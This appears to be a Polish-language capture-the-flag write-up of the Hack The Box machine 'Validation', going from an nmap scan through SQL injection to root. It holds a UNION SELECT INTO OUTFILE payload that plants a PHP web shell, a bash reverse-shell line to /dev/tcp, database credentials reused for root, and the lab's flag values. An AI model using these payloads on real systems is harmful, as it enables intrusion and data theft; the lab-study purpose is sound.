Validation - 29.09.2021


NMap

┌──(kali㉿kali)-[~/htb/validation]
└─$ nmap -sC -sV -T4 -p- 10.10.11.116
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-29 01:19 CEST
Warning: 10.10.11.116 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.116
Host is up (0.058s latency).
Not shown: 65262 closed ports, 269 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Strona główna


BurpSuite (SQL Injection shell upload)

Podczas wysyłania requestu, serwer odsyła kod 302, czyli przekierowanie.

Można zatem poeksperymentować z parametrami.

I już przy dodaniu ' do parametru country, serwer odsyła ciekawe informacje.

username=test&country=Brazil'

Zatem można przypuszczać, że będzie tutaj jakiegoś typu SQL Injection. Tymbardziej, że w błędzie była mowa o member function fetch_assoc()

Intruder z opcją follow redirection

' select * from users -- - niestety tutaj nie zadziała

Okazało się, że box źle działał, potrzebny był restart. Prawdopodobnie iniekcje, które próbowałem działały, ale serwer nie potrafił znaleźć pliku shell.php. Ostatecznie sql injection:

username=test&country=Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

Shell

https://book.hacktricks.xyz/shells/shells/linux

Normalne wersje nie działały, tutaj był potrzebny stabliny shell z bash -c ''

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/10.10.14.32>/9000 0>&1'

user.txt

6a76c681479a41d563786553fafa92ce


Privilege Escalation

config.php

<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>
mysql -u uhc --password=uhc-9qual-global-pw -D registration -e 'show databases;'

Database
information_schema
mysql
performance_schema
registration
mysql -u uhc --password=uhc-9qual-global-pw -D mysql -e 'use show tables;'

Tables_in_mysql
column_stats
columns_priv
db
event
func
general_log
global_priv
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
index_stats
innodb_index_stats
innodb_table_stats
plugin
proc
procs_priv
proxies_priv
roles_mapping
servers
slow_log
table_stats
tables_priv
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user
mysql -u uhc --password=uhc-9qual-global-pw -D mysql -e 'select * from user;'

Był hash, ale niestety nic z niego nie udało się wyciągnąć


Warto zaznaczyć, że mamy doczynienia z dockerem

ls -al /
...
-rwxr-xr-x   1 root root    0 Sep 16 13:39 .dockerenv
...

Próba użycia hasła z wcześniejszej bazy uhc-9qual-global-pw do uzyskania roota.

Zatem teraz należy zastanowić się jak wyjść do głównej maszyny, ale okazuje się, że możemy od razu przejść do folderu /root i odczytać flagę.

root.txt

39b76517f594b8ba44baeaec7c6badf0